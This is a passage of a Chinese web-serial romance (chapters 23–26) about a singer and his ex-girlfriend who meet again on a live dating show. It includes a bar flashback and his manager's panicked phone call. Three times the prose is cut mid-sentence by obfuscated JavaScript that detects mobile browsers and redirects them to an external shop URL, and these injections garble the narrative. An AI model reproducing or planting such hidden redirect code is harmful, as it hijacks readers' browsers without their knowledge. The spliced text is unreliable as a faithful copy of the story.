鬼使神差的,时缈招手叫来了服务生。 她将酒单翻到“特色创意酒单”那一栏,修长葱白的手指点在一款酒的名字上,朱唇轻启,她在许钧闻的尾音里、目光下,仰头朝服务生道: “麻烦,这首歌结束后,给台上的主唱送一杯‘旷野枯潮’。” 23. 23首情歌 时常有顾客会给许钧闻送酒这件事,在酒吧的服务生和常客们眼里已经是见怪不怪了。 因此在时缈表示要给台上的主唱送一杯酒的时候,服务生并没有表现出任何带有“意料之外”含义的情绪,只是在她选了酒品之后,忍不住多看了这个姑娘一眼—— 在知道这个年轻帅气的驻唱歌手从不喝顾客送的酒之后,有些人既想要露这个脸,又不想白把酒钱打了水漂,就会点一些最便宜的啤酒意思意思。 还有些不差钱的主儿,为了彰显自己的与众不同,也会从酒吧的自创酒单里选。 他服务过的顾客里,尤其是给台上那位点酒的女顾客,大部分都会选一些酒精度数不高,但看上去颜色很漂亮、杯口带着装饰的小甜酒。 可眼前这个看上去刚成年不久的漂亮姑娘,一上来就选了一杯他们首席调酒师引以为傲的作品。 深蓝色的液体入口时带着清甜,后劲却醇厚辛辣。 是一般人都不大能接受的十分具有反差感的口味。 “好的。” 但作为一个服务生,他的本职工作就是为顾客提供优质贴心的服务。 因此他将时缈的点单报给吧台的调酒师,不久后又用托盘端着那杯宛如蓝宝石一般的特调酒来到小舞台。 “这是18号台那位顾客请的。”他避开麦克风,低声对许钧闻说道。 虽然台下的其他顾客不知道酒究竟是哪一桌的顾客点的,但服务生会把桌号告诉歌手本人。 毕竟酒吧并不禁止员工和顾客发展私人关系,更何况只是一个驻唱歌手而已。 但依照他们对许钧闻的认识和了解,虽然有时候许钧闻看起来表现得有些吊儿郎当的样子,但他骨子里并不是一个会动歪心思的人。 否则,他也早就不会在这里当个驻唱歌手了。 所以这一次,服务生习以为常地报出了台号之后,就要端着托盘离开——反正大家都知道,许钧闻不会留下这杯酒的。 “等等。” 服务生转身的动作被许钧闻的话截住。 “18号桌?”许钧闻重复一遍。 “对。” “放这儿吧。” 许钧闻指了指麦架旁,空空如也的白色小圆桌。 服务生愣了一下,再次确认道:“放这里吗?” “算了。” 许钧闻又改了口。 就在服务生以为,许钧闻之前选择留下那杯酒是以为那杯酒是自己朋友点的,却发现自己认错了人的时候,许钧闻伸手将那杯“旷野枯潮”拿了起来。 越过昏暗的环境和人潮,两人的视线在半空中相遇。 许钧闻朝着她所在的方向,遥遥举了举杯,微微凑近麦克风:“最后一首歌,祝大家都能有一个愉快的夜晚。” 而后抬手饮了一口杯中的酒。 随着他仰头的动作,许钧闻棱角分明的下颌线暴露在灯光下,突起的喉结随着吞咽的动作起伏滚动。 浪荡又性.感。 杯中的酒还剩一半,许钧闻将它放在小圆桌的正中央。 像是顶端空荡荡的冠冕上终于嵌上了一颗耀眼的水蓝色宝石。 头顶冷白色的灯光打在桌面上,一场无声的加冕。 台下一阵轻微的骚.动。 不少人都顺着许钧闻刚才看过来的动作,朝时缈她们所坐的位置张望。 尤其是之前,给许钧闻送酒却被拒绝的那桌京大女生,更是伸长了脖子试图找到让许钧闻打破原则的究竟是何方神圣。 坐在时缈身边的顾梦瑶更是目睹了从她点单到许钧闻喝下那杯酒的全过程。 “我去,姐妹,有点儿东西啊。” 顾梦瑶晃了晃时缈的手臂:“坦白交代,之前你们在酒吧相遇的时候到底还发生了什么?” 许钧闻上台之后,时缈就简单给顾梦瑶概括了一下他们上一次在酒吧见面时的场景,自然也讲述了自己把许钧闻和汪乐误认为油腻搭讪男的乌龙。 惹得顾梦瑶笑个不停:“不是我说啊姐们儿,就许钧闻学长那张脸,怎么看他都应该是被人搭讪的那一个才对啊哈哈哈哈。” 时缈无奈:“顾梦瑶同学,你以貌取人的习惯什么时候能改改?况且当时环境又暗,两个人高马大的男生站在我室友面前,我可不得提起十二万分的警惕嘛。” 听见顾梦瑶的追问,时缈耸肩:“没有了。” “真的?” “真的,比珍珠还真。” 顾梦瑶看了看台上的人,又看了看自己身边的小姐妹,忽然意味深长地一笑:“我说,你刚还说我以貌取人呢,你敢发誓,你这不是见色起意?” 音响里再次徐徐传出许钧闻低沉而富有磁性的歌声。 时缈笑笑,并没有为自己辩护,只是将桌上剩下的酒一口饮尽,起身对顾梦瑶道:“我去趟洗手间。” * 很多时候,女生在商场使用公共卫生间的时间看似很长,但实际上有一大部分时间都耗费在了排队这件事上。 等时缈从洗手间出来,方才的歌声已经停了,取而代之的是节奏感很强的无歌词bgm。 她摸出手机看了一眼时间,距离她来洗手间已经过去了近五分钟。 想必是许钧闻的最后一首歌已经唱完了。 ——时缈的脑子里没由来地忽然冒出了这个念头。 说不上此刻心头闪过的那丝微妙的感受是不是应该被称为“遗憾”。但时缈必须要承认,今晚在看清许钧闻的长相之后,她确实有一瞬的惊艳感划过心底。 扶手和墙壁构成的夹角里站着一对靠在一起黏黏糊糊地说着悄悄话的年轻男女,时缈对这种场面没有任何兴趣,微微偏过头从他们身侧绕过去,沿着来时的路线原路返回。 终于在那对情侣离开了她的视野范围内,时缈才终于收回了无处安放的视线。 下一秒,出现在她视野正前方的,先是两条笔直的大长腿,那条工装裤对时缈而言非常眼熟,沿着裤缝看上去,是一只垂在身侧的手,手背筋络微微突起,指缝之间还夹着一点猩红。 见她看见自己,那人将自己手里的烟按灭。 狭窄的过道因他斜倚的姿势占去了一多半的空间,时缈微微挑了下眉,停下脚步同那只手的主人对视两秒。 见对方没有给她让路的打算,便侧过身,打算从他面前挤过去。 谁料被人长臂一伸,拦住了去路。 “找我?”时缈仰头。 许钧闻一手搭在扶手上,黢黑的眸子一瞬不瞬地看着她,却没有说话。 他身上淡淡的薄荷味夹杂着烟草味四散在空气里,顺着时缈的呼吸,被她吸进身体里。 尼古丁残留的气味与她的身体产生了不可名状的化学反应,像有一簇小小的火苗,在她的肺部燃起,将她身体中的空气和血液一同蒸发,然后再随着她吐气的动作钻出来,与他的气息混合在一起。 小舞台上似乎有新的乐队登场。 和许钧闻的风格不同, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341279|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方似乎走的是爆炸金属摇滚的狂野路子,巨大的鼓点声震耳欲聋。 可偏偏,时缈还是能够清晰地听见自己呼吸的声音。 真神奇。 时缈以为他是因为酒吧的音乐声太大,没听见自己刚才的话,耐心地又问了一句:“找我有事吗?” 许钧闻仍是只看着她,没有开口,眼神却专注在她身上,仿佛要形成一个漩涡,将她整个人全部吸进去。 这人又在搞什么莫名其妙的东西? 时缈原本就不是个十分好脾气的人,两次问话得不到回答,抬手就要推开许钧闻拦住她前路的胳膊。 “哎——” 一个声音从许钧闻的身后传来。 “找你半天了,你躲到二楼来干什么?” 是汪乐找了过来。 虽然时缈的个头不矮,但比起许钧闻还是差一截的,加上她为了跳舞常年控制体重,因此许钧闻的身形恰好将她遮得严严实实。 汪乐并没有看见她,一边走上前拍拍许钧闻的肩膀,一边像个操碎心的老妈子似地碎碎念:“你那点酒量你自己还不清楚吗?真不知道你在想什么,平时不是从来不喝顾客点的酒吗,今天破例也就罢了,一破还就直接破的是‘旷野枯潮’,我是不是还得夸你一句‘英雄好胆量’啊?等会儿要是被放翻了别指望我把你扛回宿舍啊。” 时缈推开对方的动作顿了一下。 她听见了什么? 这人该不会一杯就倒吧? 不会吧?? 时缈下意识后退了一步,目光狐疑地落在许钧闻身上。 这么一说—— 他看人的眼神确实和之前打照面的时候比起来要僵硬一些啊…… 所以,许钧闻可能不是因为音乐声太吵而没听见她的话,而是因为喝多了反应和感官都变迟钝了? “啊,学妹。” 汪乐搭上许钧闻的肩,将他捞到自己身前,视线这才越过许钧闻的身影,看见了时缈。 汪乐不知道许钧闻今晚在想什么,但此刻他福至心灵地产生了一个直觉般的念头——刚才许钧闻逞能硬喝的那杯酒,应该是这个姑娘送的。 好好好。 合着是在漂亮妹子面前装了个大的。 汪乐有些不好意思地看向时缈。 同时,他也有些心虚。 他兄弟刚在台上装了一波,这会儿搞不好就被他原地拆台了…… 他该不会搞砸了点什么事儿吧? 汪乐试图弥补:“那什么,刚才,今天晚上吧……” 时缈点点头,以为汪乐是担心自己将这件事说出去破坏他们乐队在小迷妹们心里的形象,抬手了然地比了个“ok”的手势:“放心吧,我也是刚刚才来,什么都没听见。” ?? 汪乐愣了一下,还没想好怎么把这个场面圆过去,时缈就已经朝他笑笑,从他捞过许钧闻后走廊空出来的间隙处挤出去,溜走了。 等等啊妹妹! 我还能解释一下的啊!! 你别走得这么快啊!!! * 想起自己当初无意中撞破了许钧闻的“秘密”的场面,再看了眼如今面不改色地在镜头前以“酒精过敏”作为借口躲酒的当事人。 时缈仰头喝了一大口啤酒,以其他人各自交谈的声音作为掩护,压低声音故意问他: “你真的酒精过敏啊?” 许钧闻偏头,要笑不笑地看着她: “你觉得呢?” 24. 24首情歌 “怎么,查到的粉丝攻略里没写这一点?”许钧闻的眼底藏着调侃。 时缈知道他是在影射自己之前那次说自己曾在网上搜索过粉丝总结出的他的口味喜好的事情。 时缈看向摄影机:“这下粉丝们可以开始撰写‘偶像喜好清单2.0’了。” 短兵相接。 两个人都知道对方是明知故问。 时缈也不知道自己现在对于许钧闻到底是个什么态度了。 明明她都已经说服自己要往前看、向前走了,可每次面对许钧闻的时候,她总是有些控制不住自己的情绪。 不管六年前还是六年后,他对她的影响显而易见。 可这并不是什么好兆头。 时缈转过头不再看他,抬手将自己杯中的酒一饮而尽,想要续杯的时候,发现自己面前只剩几个空瓶子了。 目光在自己面前的桌面上扫了一圈,却没有看见开瓶器。 时缈只好将视线搜寻的范围扩大一些,终于在程子归的手边看到了一个躺在桌面上被纸巾盖住一半的开瓶器。 “程老师,能麻烦给我递一下开瓶器吗?”时缈柔声询问。 她其实很久没有这样毫无节制地喝过酒了。 以前是因为要控制身材,啤酒这种容易令人发胖的东西她很少沾,大多数时候都喝的是许钧闻亲手调的鸡尾酒—— 颜色艳丽旖旎,令人目眩神迷。 而后来,自她被顾梦瑶红着眼镜从哪个横七竖八倒了一地瓶子的小公寓里拽出来之后,在家里消沉了很长一段时间,父母和闺蜜轮番陪在她身边,生怕她会出什么意外。 为了让爱自己的家人朋友们放心,时缈便也逐渐减少了喝酒的频率。 此时在这里,既没有父母的担忧和唠叨,又恰好是一场毫无防备的故地重游,身边还坐着一个许钧闻,他身上萦绕的浅浅薄荷味和炭火的味道交杂在一起,既细微又明显,两人时不时在桌面上相碰的手肘、还有他手指短暂擦过她皮肤时留下的触感,都久违地勾起了时缈喝酒的欲.望。 “噢噢,开瓶器是吧,开瓶器……” 听见她的话,程子归放下酒杯低头在周围找起了开瓶器。 但因为刚才喝了不少酒,明明开瓶器就在他眼皮子底下,程子归却没能第一时间发现。 直到一只骨节分明的大手从纸巾下面抽出那个银色开瓶器,干脆利落地将他面前那排还没打开的啤酒瓶全部撬开。 随着“啵”“啵”的声音,啤酒气泡上涌又破碎,微苦的酒精味道四散在空气里。 “酒精过敏不喝酒,但你这开瓶的架势看起来可是相当熟练啊?”程子归好奇道,“怎么,你们这个年代在酒吧唱歌还得培训如何流畅又帅气地给顾客开啤酒了?” 青葭以及她的经纪人本就想在节目中和许钧闻多进行互动,如果能够和他打好关系那是最好不过,但如果没有那个机会,借着和许钧闻的同框多蹭一些镜头也是不错的选择。 因此青葭逮到机会,借着程子归的话题:“那闻哥会调酒吗?” 许钧闻点头:“会一点。” 许钧闻和酒吧老板富二代的关系处得不错,有时候还没到他上场唱歌的时间,他也会用调酒来打发一下时间,因此也顺便跟着调酒师们学了几手,市面上比较热门的经典款鸡尾酒他基本都会调。 只不过他调的酒从来不对外出售。 “哇,想象一下闻哥摇雪克杯的样子,一定很帅!” 或许是在酒精的催化下,青葭目光中不知真假的崇拜都快要凝成实质了:“也不知道我们有没有这个荣幸,喝到闻哥亲手调的酒哦?” “很久不调了,手生。” 许钧闻把玩着手里的玻璃杯,无所谓地笑笑:“还是不祸害大家了。” 青葭像是对这件事情很感兴趣似的,追问:“可是,闻哥你酒精过敏的话,为什么还会去学调酒啊?” “一开始是为了打发时间,”许钧闻顿了顿,朝身侧瞥了一眼,“后来是有了一位固定的‘顾客’。” 说到“顾客”两个字的时候,许钧闻的语气有些微妙。 而他口中的那位“顾客”,此刻就坐在他的身边,极力降低着自己的存在感。 ——在这种情况下,听见前男友回忆他们年少时候的恋情,作为这段感情的另一位主人公,时缈感觉自己尴尬得恨不得找个地缝钻进去。 如果这时候没有直播镜头,时缈恐怕已经找了个借口逃离这个现场了。 “那看来你当初调酒的手艺很不错啊,都发展出熟客了。”程子归拍了拍许钧闻的肩,“不愧是我们许老师,干一行行一行啊。” “哪有,明明是我学艺不精,就只有那一个‘熟客’喜欢喝而已。” 许钧闻的目光落在桌面上散乱的东倒西歪的空酒瓶:“而且后来,那个‘熟客’还跑了。” 时缈握着玻璃酒杯的手指紧了紧。 许钧闻所说的每一句话,都像是在打哑谜似的,而这哑谜的谜底,全场只有她和他两个人知道。 当年他们在一起后,时缈才知道,虽然许钧闻酒量极差,但他却跟酒吧的首席调酒师学了一手近乎于炉火纯青的调酒技术。 而她,是调酒师许钧闻服务的第一个,也是唯一一个顾客。 * “喏,”许钧闻将一杯粉蓝分层渐变的鸡尾酒推到时缈面前,“尝尝。” 时缈浅浅抿了一小口,浓郁的果味在舌尖炸开,将酒精的刺激恰到好处地包裹起来,使酒精的辛辣和水果的清香恰到好处地融合在了一起。 “好喝!”时缈眨眨眼,又喝一口,朝她粲然一笑“这手艺,不去开店可惜了啊,许大调酒师。就凭你这身段长相,你要是真开个酒吧,生意绝对不会比你现在驻场的那家酒吧少!” 说着,时缈忽然来了劲,像是真的开始思考起了开酒吧这件事的可行性:“到时候再推出一个‘点单满五千,老板兼首席调酒师亲自上台献唱’的活动,啧啧啧,感觉能赚得盆满钵满。” “又卖艺又牺牲色相,活都让我干了,你呢?”许钧闻好笑地戳戳她的额头,“把男朋友推出去揽客?亏你想得出来啊,时缈同学。” “这不都是为了你酒吧的营业额嘛。” 时缈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363222|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑嘻嘻的,眼疾手快地握住许钧闻还没收回的手指,攥在手心里,感觉到他指腹的薄茧紧贴着她细嫩的掌心。 “我对开酒吧没什么兴趣。” 许钧闻任由她握着自己的手指,用另一只手拿起挂在酒杯口的葡萄,递到时缈面前。 看着时缈自然地张口将那颗葡萄咬住,许钧闻收回手,食指碾了一下大拇指的指尖,仿佛是在回味她柔软的唇瓣刚才不经意抚过他指尖的触觉。 “如果非要开的话,那就开一家,只对时缈同学开放的酒吧。” “二十四小时不打烊,全年无休,随时恭候。” …… 可年少的誓言又有多少能成真的呢? 大多最后都变成了遗落在时光罅隙中的无主碎片。 即使是他们,也未能幸免。 * “啊?”程子归听得一头雾水,“跑了?什么叫跑了?” 「调的酒只有一个客人爱喝,笑死,那得是多神奇的口味啊?有点子好奇了。」 「也不是不可能,就像我们全宿舍只有我一个人爱吃辣椒面蘸芒果,其他室友都理解不了。」 要换做平时,程子归肯定会从这几句话里品出一点不对劲来。 可偏偏,今天大家都喝了点酒,思维在酒精的影响下,比平常迟钝了许多。 于是,当着所有人的面,在摄影机环绕之下,程子归拍了拍许钧闻的肩膀,语重心长道:“兄弟,哥跟你说啊,干咱这一行啊,最忌讳的就是……” “程哥,喝酒喝酒,别光顾着聊天啊。” 坐在两人对面的祝意安伸长手臂,狠狠与他碰了下杯,将程子归还没说完的话堵了回去。 但是,为时已晚。 弹幕已经自觉地将他没说完的半句话补齐了: 「哈哈哈哈哈,不是,许哥,行忌爱啊!」 「许哥,众所周知,干咱们这行的……」 「最忌讳爱上客人啊哈哈哈哈哈哈哈!」 「笑得,程子归平时肯定没少上网冲浪吧哈哈哈哈」 但也并不是所有人的注意力都被玩梗吸引了去,屏幕上零星飘过了这样几句: 「虽然但是,这话听起来怎么怪怪的……我怎么觉得这哥说的不是酒啊?」 「想多了,他连恋爱都不会谈,还能暗戳戳表达什么?」 就在众人嘻嘻哈哈插科打诨地要将这个话题略过的时候,许钧闻却像是认真参考了程子归的意见似的,忽然问了句: “那要是先爱上客人,然后才干这一行的呢?” 像是电影看到一半忽然被按下了静音键。 所有人面色不一地看向许钧闻。 连程子归的酒意都被吓跑了一半:“……啊?” 不是,兄弟,你来真的啊? 和现场嘉宾们一样,直播间的观众们也被许钧闻这突如其来的“自爆”打了个措手不及。 「?????」 「???什么???」 「他是在玩抽象还是在说真的啊???」 「啊,不是,他还真爱过啊!?!?」 25. 25首情歌 许钧闻那句话像是一个重磅炸.弹,直接炸了所有人一个措手不及。 时缈更是下意识屏住了呼吸,猛得转头看向许钧闻。 可她知道自己现在什么都不能表现出来,否则场面一定会变得更加难以收拾。 时缈猛灌一口酒。 她只能忍。 而作为在场唯一一个专业主持人,祝意安不得不接下了这个烫手山芋,凭借着自己出色的专业能力,祝意安强行开了几个玩笑,将话题引向了其他方向。 对此,优秀主持人祝老师表示:本以为自己是来旅游放松的,却没想到居然是来渡劫的。 其余人也都是有眼色的聪明人,配合着祝意安打着哈哈将许钧闻的话揭了过去。 大家按部就班地吃完饭,将庭院收拾整洁,然后素人嘉宾们回各自的房间发送今天的心动短信,观察团成员则聚在一起等节目组公布今晚的短信情况——由于白天的情侣写真pk任务,今晚并不需要通过预测短信收发情况来赢取节目组的奖励道具。 镜头下的所有人看起来都没有什么异常,似乎都没有被晚餐时发生的一切所影响,各自录制完自己的备采,便回到房间洗漱休息。 但是,所有人内心都很清楚,互联网上的血雨腥风才刚刚开始。 在许钧闻当着节目直播镜头主动爆出自己曾经“爱过某个人”之后,#许钧闻前女友##许钧闻行忌爱##许钧闻先爱上客人才干这一行的#等等几个词条迅速蹿上了热搜,并在短短一小时内就冲到了热搜榜的前几位。 其中,画风最离奇的当属#许钧闻先爱上客人才干这一行的#这个词条的实时广场: 「光看热搜词条差点以为他塌房了hhhh这是哪个营销鬼才想出来的话题?是真不怕xjw的工作室发律师函啊!」 ——这一看就是没有追《适合恋爱的夏天》直播,并且还没有刷到许钧闻直播切片的真·路人。 于是评论区里很快就有人出面给她“科普”: 「不是营销啊姐妹,这话是他自己说的[捂脸笑]这么多年在内娱粉过那么多明星,用这种话术自爆的我还真是第一次见[微笑]」 「姐妹,给你指路[网页链接]我不允许和我在同一片海域冲浪的网友们没有看过这个视频!」 除了不明所以只为了看个乐子的路人之外,最破防的大概就是许钧闻的部分“女友粉”了。 这年头,不论是不是个爱豆,只要是有些水花的男明星或多或少的都会有一些“女友粉”。 许钧闻自然也不例外。 只是他女友粉的占比并不算很大,外加他本人从来没有传出过任何感情绯闻——甚至某些狗仔为了挖他的料,曾锲而不舍地跟了他足足三个月,愣是一点桃色花边新闻都没有发现,因此许钧闻的女友粉也一直没有掀起过什么风浪。 直到今天,许钧闻亲口在节目中承认自己有过一个前女友,甚至有人逐帧分析了他的语气和表情,认为他至今仍然对那位前女友“念念不忘”,他的女友粉率先坐不住了,纷纷跑到热搜广场、许钧闻本人以及许钧闻工作室的微博评论区里追问事情的真相。 「不是?合着这么长时间“不近女色的高岭之花”形象都只是人设是吧?骗粉丝的感情好玩儿吗?辜负真心的人4000+!」 「都有一个念念不忘的前女友了,还玩什么“从来不会写情歌”这套来吸引女粉丝啊?恶心![吐][吐][吐]」 但也有不少理智的粉丝出面维护许钧闻: 「什么“高岭之花”“恋爱白痴”都是你们某些人自己想象出来的吧?许哥本人和经纪人可从来没有下场玩过这些梗,更没有承认过这种人设,又何谈靠人设吃女粉丝红利呢?你们喜欢的到底是许钧闻的歌还是你们想象出来的那个“理想男友”?」 「拜托,作为歌手,许钧闻从来堂堂正正靠作品立身,从来没有立单身人设恰烂钱吧?恋爱有罪那套用来要求你追的爱豆们也就罢了,许钧闻,正儿八经的创作歌手哈,望周知。」 「emmmm我只说一点哈:许钧闻接受采访的时候从来都说的是“不想写情歌”“目前没有发.情歌的计划和灵感”,从来没有亲口说自己“不会写情歌”或者是“没谈过恋爱所以写不出情歌”吧?带着你们的想象远离正主哈,如果你非说他立过人设,请拿出证据!」 不光是网上吵成了一锅粥,许钧闻的电话更是很快就被经纪人的夺命连环call打爆了。 “许钧闻!你真是我祖宗!这么大的事你就不能提前跟我说一下吗!作为你的经纪人,还要靠节目和热搜得知你的感情状况!你让我在这个圈子里怎么混!” 豪哥在电话那边痛苦的叫喊声几乎要穿破许钧闻的耳膜。 “已经有好几个品牌方打电话来问我到底是什么情况了!你知不知道,你现在是一个公众人物!而且是一个流量很大的公众人物!任何与你有关的风吹草动都有可能引发蝴蝶效应的!” 豪哥并不是许钧闻的第一个经纪人。 而在他们两个合作的这些年里,许钧闻身边别说是个女人了,就是连只母猫都没有。因此他曾经甚至怀疑过许钧闻是不是喜欢男人! 而在确认了许钧闻的性向真的不是他想象的那样之后,经过了一段时间的观察,豪哥看许钧闻这副除了写歌、睡觉,就是出门旅游到处看演出的架势,也不像是个花心浪荡的主,便也就随着他去了。 而许钧闻又不是个喜欢和人聊过往私事的人,自然也没有跟豪哥提起过和时缈有关的事情。 可谁又能想到,平时从不爱聊八卦,更不爱把自己的事情拿出来说的家伙,在直播镜头面前给他憋了个大的! 许钧闻难得如此有耐心地听着豪哥发泄完,这才慢条斯理地开口:“我身上的这些合同里,有任何一份写在‘艺人在合约期内不允许恋爱’这一条吗?” “没有。”豪哥愣了一下,回答道。 “那有任何一个合同里写了‘艺人不允许有前女友’这一条吗?” “……也没有。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377441|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那又有任何一份合约里有‘艺人不允许在任何场合提及自己过往感情经历’的规定吗?” 面对许钧闻思路清晰地步步紧逼,豪哥刚才还在暴走边缘的情绪逐渐平复了下来:“确实没有。” 许钧闻哼笑一声:“那不就结了。” “但这会影响到你的商业价值!” 豪哥差一点就要被许钧闻的逻辑绕进去了。 “现在哪个品牌不看重艺人的流量?他们找你代言当然是因为你的粉丝多!消费号召力高!你现在搞这么一出,万一粉丝们集体脱粉了,品牌方大可以用‘艺人方过错严重影响品牌形象’这一条来和你解除合约!” “那又怎么样。” 许钧闻无甚所谓:“我只是随口提了句前女友,又不是‘该税的没税,不该睡的乱睡’。节目里的随口闲聊而已,算什么‘过错’吗?我现在参加的可是档恋爱综艺,提到感情话题不是必然的吗?” “……行吧,好像也合理。” 豪哥叹了口气。 他打这通电话其实并不是真的为了问责或是其他,只是发泄一下他作为经纪人,自己手里唯一的艺人的感情状况他居然是通过节目直播和微博热搜才知道的。 这种情况无疑是在为他的工作埋雷! 如果他早知道,他至少可以提前准备好几套公关应急方案,而不是晚饭吃到一半,被品牌方的电话打个一头雾水措手不及! “就当是你在节目里忽然的有感而发吧,品牌方这边我来沟通。” “这段时间你就好好录你的综艺,反正近期也没排其他行程,不大会碰上记者采访。” “但是!回来之后!你把你的事给我坦白交代!事无巨细!原原本本!” “还有啊,”豪哥不大放心地问道,“你现在红成这样了,你前女友会不会再跑回来找你啊?或者说你有没有什么料在人家手里啊?” 那种,分手之后见前任爆红,回头求复合却被拒绝后,拿以前的恋爱记录断章取义发出来引导舆论的事情也不是没人做过。 “没有,不会,别想那些有的没的。” 许钧闻皱眉,打断豪哥的话。 而后又哂笑一声,垂下眸子:“我又不是今天刚红,要跑回来早就回来了。” “也是哈,那行,那我先去忙了,你早点休息吧。” 电话即将挂断前,豪哥忽然又想到了一件事:“你这里还有没有关于前女友的线索了?什么早年微博啊、贴吧啊、非主流个性签名啊,哦,甚至是校园表白墙之类的,万一有的话……” 万一有的话,还得尽快处理一下。 现在的粉丝们看节目都恨不得将每一个画面截图下来逐帧分析,如果许钧闻的社交平台里仍然留着那位“前任”的信息,一旦被狂热粉丝扒出来,恐怕会给无辜素人带来很大困扰。 “没有了。” 许钧闻从口袋里摸出打火机把玩,火苗闪烁:“平时考古我的粉丝还少吗?要是还有的话,早就该被发现了。” 26. 26首情歌 认识许钧闻这么长时间,豪哥从来没听他用这种语气说过话,一时间有些怀疑这还是不是他认识的那个桀骜不驯到几乎可以说是不可一世的许钧闻了。 豪哥捏了捏鼻梁:“行吧,不会被人扒出来最好。但是以防万一,我这边还是得做好两手准备,免得到时候真被扒出来点什么,连声明都得现写。” “你看着办,我很相信你的。” 许钧闻也知道,今晚这件事无疑是给整个团队添了麻烦,既然已经打了大家一巴掌,他当然要给颗甜枣哄一哄:“有需要我配合的,随时告诉我。” “你首先要配合的,就是把你过往的感情经历原原本本给我讲清楚。” 豪哥“啧啧”一声:“别说是网友了,我也挺好奇你到底喜欢什么样的女生,这几年,圈里大大小小的女艺人想跟你搭上线的也不少,你愣是一个正眼都不给,现在好了,所有人都改知道你心里还有个爱而不得的‘白月光’了。” “你会知道的。” 许钧闻轻笑一声,忽然若有所感地看向自己的房门,低声道:“况且,你已经见过了。” “见过了?什么人?什么时候的事?” 豪哥发出三连问,却只得到了一串忙音作为回答。 * 许钧闻没等豪哥的话音落下,便自顾自地挂了电话,目光落在自己的房门上。 他的屋内关着灯,走廊里原本也是漆黑一片。 但就在刚刚,走廊的感应灯忽然亮起。 一条细微的暖黄色光线透过门缝,落在他房间入口处的木质地板上。 紧接着,一道黑色的阴影将光线遮住了一小节。 很显然,是有人站在了他的门口。 许钧闻将手机随手甩在床上,好整以暇地抱着手臂看着门口。 他这个人向来没什么耐心。 但对某一个人除外。 “笃笃笃。” 三声敲门声响起。 许钧闻勾了勾唇角,起身开门。 “你……” 见门打开,时缈刚要说些什么,就被里面的人打断。 “站在门口是生怕别人看不见你大晚上来敲我房间门是吗?” 许钧闻侧身:“进来。” 时缈站在门口,有一瞬间的犹豫—— 虽然被人看见她来敲许钧闻的门的确不太好,可如果被节目组的人发现他们两个人大晚上的孤男寡女共处一室,就更难说清楚了。 “没话说?” 许钧闻睨她一眼,作势就要把门关上:“那我休息了。” “别。” 时缈眼疾手快按住门框:“有事要说,有事要说。” 许钧闻的目光落在时缈抓住门框的手,眉头紧了紧,语气不善:“放下来。” “嗯?”时缈不明所以。 许钧闻松开门把手,自己率先转身进屋,留下一句:“进来的时候把门带上。” 时缈左右看了看,确定此时走廊里除她之外空无一人,这才闪身溜进许钧闻的房间里,轻轻把门关上。 “怎么搞得跟做贼似的。” 在她进来前,先一步回屋的许钧闻已经打开了几盏小灯,回头就看见时缈蹑手蹑脚关上门的样子,不由得嗤笑:“怕别人看见?我就这么见不得人?” “什么乱七八糟的,许钧闻,你明明知道我不是那个意思。”时缈被他刚才在门口时凉飕飕的语气刺到,此时面对着他也没什么好气,“再说了,要真论见不得人,那大概是我更见不得人一些才对。” 许钧闻看一眼气呼呼的人,坐在桌前的椅子上:“坐。” 坐? 坐哪儿? 时缈环顾打量了一圈许钧闻的房间。 这家民宿被节目组整个包下来作为《适合恋爱的夏天》节目在谷峪勒的合宿拍摄点,但这个民宿相比于江城那幢别墅而言还是小了很多。 虽然在房间安排上没有任何变化——素人嘉宾们两人一间,观察团成员们一人一间。但房间的使用面积以及家具等等都比江城别墅的配置要低一些。 就比如许钧闻现在所住的这个房间,放眼望去,整个房间就只有一把椅子,别说像江城别墅里那样的懒人沙发了,连个小板凳都没有多余的。 时缈要想坐,恐怕就只能…… “愣着干什么?” 许钧闻挑眉:“难不成还想坐我腿上?” 他知道自己再说什么吗! 时缈差点一口气没喘上来。 “……坐个屁。” 时缈咬着牙,快步走到许钧闻的床沿边,一屁股坐在他的床上。 时缈刚才犹豫,是因为她记得,许钧闻以前不喜欢别人穿着外裤坐在自己床上。 此刻被许钧闻拿话这么一激,时缈恨不得直接穿着外衣外裤在他床上翻几个跟头,气死他算了! 许钧闻就那样坐在椅子上,一手打在膝盖上,饶有兴致地看着时缈。 这是重逢之后的这段日子里,时缈的表情最丰富的时刻,恍惚间让他以为,以前那个活泼开朗又好懂的小姑娘从来都没有离开过一样。 “咳,我来找你是为什么你应该知道吧?” 时缈想起自己来找许钧闻的主要目的,她微微挺起身,正襟危坐,双手规规矩矩地摆在自己的膝头,正式得像是来参加什么商务洽谈的职场精英似的。 “不知道。”许钧闻摇头。 “不知道?” 谁信啊! 